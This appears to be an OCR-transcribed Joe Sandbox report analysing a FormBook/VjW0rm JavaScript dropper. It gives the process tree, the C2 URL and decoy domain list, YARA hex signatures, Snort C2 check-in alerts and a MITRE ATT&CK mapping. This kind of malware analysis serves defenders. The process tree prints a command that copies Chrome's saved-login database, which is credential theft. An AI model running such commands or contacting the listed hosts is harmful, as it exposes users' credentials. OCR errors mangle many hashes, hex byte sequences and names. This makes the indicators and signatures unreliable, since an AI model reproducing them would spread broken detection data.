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HTTP Packets

Statistics
Behavior

System Behavior
Analysis Process: wscript.exePID: 6352, Parent PID: 3968

General
File Activities
Analysis Process: wscript.exePID: 6432, Parent PID: 6352
General
File Activities
File Created
File Written
Registry Activities
Analysis Process: bin.exePID: 6488, Parent PID: 6352
General
File Activities
File Read
Analysis Process: explorer.exePID: 3968, Parent PID: 6488
General
File Activities
File Created
File Deleted
File Written
Registry Activities
Analysis Process: wscript.exePID: 6720, Parent PID: 3968
General
File Activities
File Written
Analysis Process: wscript.exePID: 7112, Parent PID: 3968
General
Analysis Process: wscript.exePID: 5232, Parent PID: 3968
General
File Activities
Registry Activities
Analysis Process: cmmon32.exePID: 3396, Parent PID: 3968
General
File Activities
File Read
Registry Activities
Analysis Process: cmd.exePID: 3464, Parent PID: 3396
General
Analysis Process: conhost.exePID: 3128, Parent PID: 3464
General
Analysis Process: cmd.exePID: 5356, Parent PID: 3396
General
Analysis Process: conhost.exePID: 4744, Parent PID: 5356
General
Analysis Process: 5hol_r7nkdhp.exePID: 5024, Parent PID: 3968
General

Disassembly
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Windows Analysis Report

Cl0-P0O162667.js

Overview

General Information Detection Signatures Classification

Sample CIQ-P0O162667.js
Name: MALICI Found malware configuration

Analysis ID: 635232 Multi AV Scanner detection for subm...

MDS: 3d6bfb78b45071.. Yara detected FormBook
SHA1L:
S BRI Benign windows process drops PE f...
SHA256: b92b2c3a689cd2.
Malicious sample detected (through...

Tags: is ijOrm
. System process connects to networ.
Infos: i'} E Q l'f +»
HTTP
Yara detected VjWOrm
Q & mem

q Antivirus detection for URL or domain
FormBook, Vj\WOrm
100

Multi AV Scanner detection for dom...

Score:

Range: 0- 100 Antivirus detection for dropped file
Whitelisted: false Sigma detected: Drops script at sta...

Confidence: 100%

Multi AV Scanner detection for drop...

Process Tree

= System is w10x64
. i; wscript.exe (PID: 6352 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\CIQ-P0162667.js" MD5: 9A6BADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 6432 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\JmtwmJXhXe.js MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
e [E bin.exe (PID: 6488 cmdline: "C:\Users\user\AppData\Local\Temp\bin.exe" MD5: FF568D4337CE1566C4140FA2FEDF8DBS
o [E1 explorer.exe (PID: 3968 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOE1D)
. i> wscript.exe (PID: 6720 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\JmtwmJXhXe.js" MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 7112 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\JmtwmJXhXe.js" MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 5232 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
\ImtwmJXhXe.js" MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)
. g cmmon32.exe (PID: 3396 cmdline: C:\Windows\SysWOW64\cmmon32.exe MD5: 2879B30A164B9F7671B5E6B2E9F8DFDA)
. cmd.exe (PID: 3464 cmdline: /c del "C:\Users\user\AppData\Local\Temp\bin.exe" MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 3128 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. cmd.exe (PID: 5356 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1"
/V MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 4744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [E1 5hol_r7nkdhp.exe (PID: 5024 cmdline: C:\Program Files (x86)\Cex8di\5hol_r7nkdhp.exe MD5: FF568D4337CE1566C4140FA2FEDF8DBS)

= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [

"www. gafcbooster.com/np8s/"

1,

"decoy": [
"segredovideos.online",
"kishanshree.com”,
"mjmvn.com",

"44bb44.com",
"brawlhallacodestore.com”,
"littlebeartreeservices.com”,
"topings33.com",
"nachuejooj07.xyz",
"waermark.com",
"halecamilla.site",
"basincreekmedia.com",
"resolutionmeasles.com”,
"interlink-travel.com",
"siberup.xyz",
"getbusinesscreditandfunding.com”,
"shcylzc.com",
"68chengxinle.com”,
"jkrsbarmybookarmy.com",
"geo-pacificoffshore.com”,
"refreshertowels.com”,
"localbloom.online”,
"brandingaloha.com”,
"84866.xyz",
"salondutaxi.com”,
"harmlett.com",
"angelmatic.net”,
"o70iwlp.xyz",
"thepowerofanopenquestion.com”,
"tokenascent.com”,
"udrivestorage.com",
"hengyuejiguang.com”,
"minotaur.network”,
"ratebill.com",
"18w99.com",

"2264a.com",
"tentanguang.online",
"muddybootslife.com",
"vitality-patients.online",
"heavymettlelawyers.com",
"spxtokensales.com",
"titair.com",
"lazarusnatura.com",
"rasheedabossmoves.com”,
"medyumgalip.com”,
"liveafunday.xyz",
"xn--wsthof-camping-gsb.com",
"xfd8asvtivg944.xyz",
"myhvn.site",

"964061.com",
"screeshot.com",
"mysbaally.com",
"connectfamily. loan",
"langlev.com",
"labsreports-menalab.com”,
"gabefancher.com",
"jdhwh2nbiw234.com",
"pdwfifi.com",
"losangelesrentalz.com”,
"brandpay.xyz",
"jlbwaterdamagerepairseattle.com”,
"wps-mtb.com",
"sekolahkejepang.com”,
"saastainability.com”,
"multiverseofbooks.com"

}
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Yara Signatures

Dropped Files

Source Rule Description Author
C:\Users\user\AppData\Local\Temp\bin.exe JoeSecurity_Form  Yara detected Joe Security
Book FormBook
C:\Users\user\AppData\Local\Temp\bin.exe Formbook_1 autogenerated rule Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot
com
C:\Users\user\AppData\Local\Temp\bin.exe Formbook detect Formbook  JPCERT/CC
in memory Incident Response
Group
C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe JoeSecurity_Form Yara detected Joe Security
Book FormBook
C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe Formbook_1 autogenerated rule = Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot
com

Click to see the 1 entries

Memory Dumps

Source Rule Description Author
00000000.00000003.272269605.000001E33FAF9000.00000 SUSP_Base64_En Detects hex Florian Roth
004.00000020.00020000.00000000.sdmp coded_Hex_Encod encoded code that
ed_Code has been base64

encoded
0000000C.00000002.799354104.0000010D37867000.00000  JoeSecurity_VjWOr Yara detected Joe Security
004.00000020.00020000.00000000.sdmp m Vjworm
00000000.00000003.283279518.000001E33FDAF000.00000 JoeSecurity_Form  Yara detected Joe Security
004.00000020.00020000.00000000.sdmp Book FormBook

Copyright Joe Security LLC 2022

Strings

.

0x8c08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8fa2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x16345:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

e 0Ox15dfl:$sequence_2: 3B 4F 14 73 95 85 C9 74 91

* 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF

e 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07

e 0x99ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E30F C1 EA06

e 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8

e Oxa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D

e 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4

e Oxlca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

e 0x18819:$sqlite3step: 68 34 1C 7B E1

e 0x1892c:$sqlite3step: 68 34 1C 7B E1

e 0x18848:$sqlite3text: 68 38 2A 90 C5

e 0x1896d:$sqlite3text: 68 38 2A 90 C5

e 0x1885b:$sqlite3blob: 68 53 D8 7F 8C

e 0x18983:$sqlite3blob: 68 53 D8 7F 8C

e 0x8c08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e Ox8fa2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e 0x16345:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

e 0Ox15dfl:$sequence_2: 3B 4F 14 73 9585 C9 74 91

e 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF

e 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07

e 0x99ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 0F C1EA06

e 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8

e 0Oxa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D

e 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4

e Oxlca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Strings

© © © o6 o o o 0o o 0o 0 0 0 o 0 0o 0 0 0 o o

0xb98:$x1: 78 34 4E 6A 52 63 65 44 59 31 58 48 67
Oxba8:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67
0x1014:$x1: 78 34 4E 7A 64 63 65 44 55 30 58 48 67
0x1024:$x1: 78 34 4E 6A 4A 63 65 44 5A 6A 58 48 67
Ox14ad:$x1: 78 34 4E 54 64 63 65 44 55 7A 58 48 67
Ox14c4:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67
0x14d4:$x1: 78 34 4E 6A 56 63 65 44 52 6D 58 48 67
Ox14e4:$x1: 78 34 4E 6D 46 63 65 44 59 31 58 48 67
Ox14f4:$x1: 78 34 4E 7A 52 63 65 44 49 34 58 48 67
0x1504:$x1: 78 34 4E 6D 52 63 65 44 59 35 58 48 67
0x1514:$x1: 78 34 4E 7A 4A 63 65 44 5A 6D 58 48 67
0x1524:$x1: 78 34 4E 6D 5A 63 65 44 59 32 58 48 67
0x1544:$x1: 78 34 4E 6D 4E 63 65 44 59 30 58 48 67
0x1554:$x1: 78 34 4E 6D 52 63 65 44 49 79 58 48 67
0x1574:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67
0x1584:$x1: 78 34 4E 6A 56 63 65 44 51 31 58 48 67
0x1594:$x1: 78 34 4E 6A 56 63 65 44 5A 6B 58 48 67
Ox15a4:$x1: 78 34 4E 6D 56 63 65 44 63 30 58 48 67
0x15c4:$x1: 78 34 4E 6D 5A 63 65 44 49 79 58 48 67
0x1670:$x1: 78 34 4E 6D 56 63 65 44 4A 6C 58 48 67
0x1680:$x1: 78 34 4E 6A 46 63 65 44 63 7A 58 48 67
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Source

Rule

00000000.00000003.283279518.000001E33FDAF000.00000 Formbook_1

004.00000020.00020000.00000000.sdmp

00000000.00000003.283279518.000001E33FDAF000.00000 Formbook

004.00000020.00020000.00000000.sdmp

Unpacked PEs

Source

2.2.bin.exe.b0000.0.unpack

2.2.bin.exe.b0000.0.unpack

2.2.bin.exe.b0000.0.unpack

40.0.5hol_r7nkdhp.exe.c50000.1.unpack

40.0.5hol_r7nkdhp.exe.c50000.1.unpack

Copyright Joe Security LLC 2022

Description

autogenerated rule
brought to you by
yara-signator

detect Formbook
in memory

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Click to see the 92 entries

Rule

JoeSecurity_Form
Book

Formbook_1

Formbook

JoeSecurity_Form
Book

Formbook_1

Description

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook
in memory

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Click to see the 13 entries

Strings

.
.
.
.
.

. e o o o o o o .

e o o o o o o

© o o o o 0o o o o o o o

0x84d8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8872:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x332e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x33682:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15c15:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x40a25:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x156c¢l:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x404d1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15d17:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x40b27:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x15e8f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x40c9f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x928a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E30F C1 EA 06

0x3409a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1493c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x3f74c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa002:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x34el12:$sequence_7: 66 89 OC 02 5B 8B E5 5D
0x1b267:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x46077:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c36a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x180e9:$sqlite3step: 68 34 1C 7B E1
0x181fc:$sqlite3step: 68 34 1C 7B E1
0x42ef9:$sqlite3step: 68 34 1C 7B E1
0x4300c:$sqlite3step: 68 34 1C 7B E1
0x18118:$sqlite3text: 68 38 2A 90 C5
0x1823d:$sqlite3text: 68 38 2A 90 C5
0x42f28:$sqlite3text: 68 38 2A 90 C5

0x4304d:$sqlite3text: 68 38 2A 90 C5
0x1812b:$sqlite3blob: 68 53 D8 7F 8C
0x18253:$sqlite3blob: 68 53 D8 7F 8C
0x42f3h:$sqlite3blob: 68 53 D8 7F 8C
0x43063:$sqlite3blob: 68 53 D8 7F 8C

Strings

.

e o o o

e o o o o o e o o o

.

e o o o

e o o o

0x7e08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8la2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15545:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x8bba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 OF C1 EA 06

0x1426¢:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x17a19:$sqlite3step: 68 34 1C 7B E1
0x17b2c:$sqlite3step: 68 34 1C 7B E1
0x17a48:$sqlite3text: 68 38 2A 90 C5
0x17b6d:$sqlite3text: 68 38 2A 90 C5
0x17a5b:$sqlite3blob: 68 53 D8 7F 8C
0x17b83:$sqlite3blob: 68 53 D8 7F 8C

0x7e08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8la2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15545:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox14ffl:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x8bba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E30F C1 EA 06

0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Ox1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00
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Sigma Signatures

Data Obfuscation

Sigma detected: Drops script at startup location

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 154.220.100.142

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3154.220.100.14249933802031453 05/27/22-17:29:24.560625
2031453

49933

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 154.220.100.142

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3154.220.100.14249933802031412 05/27/22-17:29:24.560625
2031412

49933

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 134.122.201.217

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3134.122.201.21749968802031449 05/27/22-17:30:23.869829
2031449

49968

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 154.220.100.142

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3154.220.100.14249937802031449 05/27/22-17:29:31.125715
2031449

49937

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 188.114.96.3

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3188.114.96.349953802031453 05/27/22-17:30:05.703103
2031453

49953

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 3.64.163.50

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

Copyright Joe Security LLC 2022

192.168.2.33.64.163.5049800802031453 05/27/22-17:27:24.994398
2031453

49800

80

TCP

A Network Trojan was detected
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ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 172.96.186.204 —

Timestamp: 192.168.2.3172.96.186.20449821802031412 05/27/22-17:28:01.005195

SID: 2031412

Source Port: 49821

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 3.64.163.50 —
Timestamp: 192.168.2.33.64.163.5049800802031412 05/27/22-17:27:24.994398

SID: 2031412

Source Port: 49800

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 172.96.186.204 -—
Timestamp: 192.168.2.3172.96.186.20449821802031453 05/27/22-17:28:01.005195

SID: 2031453

Source Port: 49821

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 134.122.201.217 —
Timestamp: 192.168.2.3134.122.201.21749944802031412 05/27/22-17:29:42.403310

SID: 2031412

Source Port: 49944

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 188.114.96.3 =
Timestamp: 192.168.2.3188.114.96.349953802031449 05/27/22-17:30:05.703103

SID: 2031449

Source Port: 49953

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 103.247.11.212 -—
Timestamp: 192.168.2.3103.247.11.21249963802031412 05/27/22-17:30:17.737248

SID: 2031412

Source Port: 49963

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 172.96.186.204 -—
Timestamp: 192.168.2.3172.96.186.20449957802031449 05/27/22-17:30:11.063091

SID: 2031449

Source Port: 49957

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 132.148.165.111 —
Timestamp: 192.168.2.3132.148.165.11149831802031449 05/27/22-17:28:12.333281

SID: 2031449

Source Port: 49831
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Destination Port:
Protocol:

Classtype:

80
TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 160.153.136.3

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3160.153.136.349838802031453 05/27/22-17:28:18.048566
2031453

49838

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 160.153.136.3

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3160.153.136.349838802031412 05/27/22-17:28:18.048566
2031412

49838

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 134.122.201.217

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3134.122.201.21749845802031449 05/27/22-17:28:23.735454
2031449

49845

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 134.122.201.217

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3134.122.201.21749944802031453 05/27/22-17:29:42.403310
2031453

49944

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 3.64.163.50

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.33.64.163.5049800802031449 05/27/22-17:27:24.994398
2031449

49800

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 154.220.100.142

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3154.220.100.14249933802031449 05/27/22-17:29:24.560625
2031449

49933

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 154.220.100.142

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

Copyright Joe Security LLC 2022

192.168.2.3154.220.100.14249937802031412 05/27/22-17:29:31.125715
2031412

49937

80

TCP

A Network Trojan was detected
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ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 154.220.100.142 —

Timestamp: 192.168.2.3154.220.100.14249937802031453 05/27/22-17:29:31.125715

SID: 2031453

Source Port: 49937

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 134.122.201.217 —
Timestamp: 192.168.2.3134.122.201.21749968802031453 05/27/22-17:30:23.869829

SID: 2031453

Source Port: 49968

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 103.247.11.212 -—
Timestamp: 192.168.2.3103.247.11.21249963802031453 05/27/22-17:30:17.737248

SID: 2031453

Source Port: 49963

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 134.122.201.217 —
Timestamp: 192.168.2.3134.122.201.21749968802031412 05/27/22-17:30:23.869829

SID: 2031412

Source Port: 49968

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 172.96.186.204 =
Timestamp: 192.168.2.3172.96.186.20449821802031449 05/27/22-17:28:01.005195

SID: 2031449

Source Port: 49821

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 134.122.201.217 -—
Timestamp: 192.168.2.3134.122.201.21749944802031449 05/27/22-17:29:42.403310

SID: 2031449

Source Port: 49944

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 172.96.186.204 -—
Timestamp: 192.168.2.3172.96.186.20449957802031453 05/27/22-17:30:11.063091

SID: 2031453

Source Port: 49957

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 188.114.96.3 —
Timestamp: 192.168.2.3188.114.96.349953802031412 05/27/22-17:30:05.703103

SID: 2031412

Source Port: 49953

Copyright Joe Security LLC 2022 Page 11 of 87



Destination Port:
Protocol:

Classtype:

80
TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 103.247.11.212

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3103.247.11.21249963802031449 05/27/22-17:30:17.737248
2031449

49963

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 134.122.201.217

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3134.122.201.21749845802031453 05/27/22-17:28:23.735454
2031453

49845

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 172.96.186.204

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3172.96.186.20449957802031412 05/27/22-17:30:11.063091
2031412

49957

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 134.122.201.217

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3134.122.201.21749845802031412 05/27/22-17:28:23.735454
2031412

49845

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 132.148.165.111

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3132.148.165.11149831802031412 05/27/22-17:28:12.333281
2031412

49831

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 160.153.136.3

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.3160.153.136.349838802031449 05/27/22-17:28:18.048566
2031449

49838

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.3 - Destination IP: 132.148.165.111

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

Copyright Joe Security LLC 2022

192.168.2.3132.148.165.11149831802031453 05/27/22-17:28:12.333281
2031453

49831

80

TCP

A Network Trojan was detected
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Joe Sandbox Signatures

AV Detection

Found malware configuration

Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Machine Learning detection for dropped file

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

JavaScript source code contains call to eval containing suspicious API calls

Networking

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

Performs DNS queries to domains with low reputation

C2 URLs / IPs found in malware configuration

E-Banking Fraud

Yara detected FormBook

System Summary

Malicious sample detected (through community Yara rule)

Wscript called in batch mode (surpress errors)

Boot Survival

Creates multiple autostart registry keys

Drops script or batch files to the startup folder

Malware Analysis System Evasion

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion

fopol

Benign windows process drops PE files

System process connects to network (likely due to code injection or exploit)

Maps a DLL or memory area into another process

Queues an APC in another process (thread injection)
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Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information

Yara detected FormBook

Yara detected VjWOrm

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality

Yara detected FormBook

Yara detected VjWOrm

Mitre Att&ck Matrix

Initial
Access

valid

Accounts Windows
Manageme
nt
Instrument
ation

Default

Accounts Scripting

Execution

Domain
Accounts Exploitation
for Client
Execution
Local At

Accounts (Windows)

Cloud Cron
Accounts

Replication Launchd
Through

Removable

Media

External Scheduled
Remote Task
Services

Persistence

Registry
Run Keys /
Startup
Folder

Boot or
Logon
Initializatio
n Scripts

Logon
Script
(Windows)

Logon
Script
(Mac)

Network
Logon
Script

Rc.commo
n

Startup
Items

Behavior Graph
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Privilege
Escalation

Process
Injection

Registry
Run Keys /
Startup
Folder

Logon
Script
(Windows)

Logon
Script
(Mac)

Network
Logon
Script

Rc.commo
n

Startup
Items

Defense
Evasion

Scripting

Obfuscated
Files or
Information

Software
Packing

Masqueradi
ng

Virtualizatio
n/Sandbox
Evasion

Process
Injection

Compile
After
Delivery

Credential
Access

oS
Credential
Dumping

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

. Lateral .
Discovery Movement Collection

Remote

File and Services Archive
Directory Collected
Discovery Data

Remote
System Desktop Data from
Information = Protocol Local
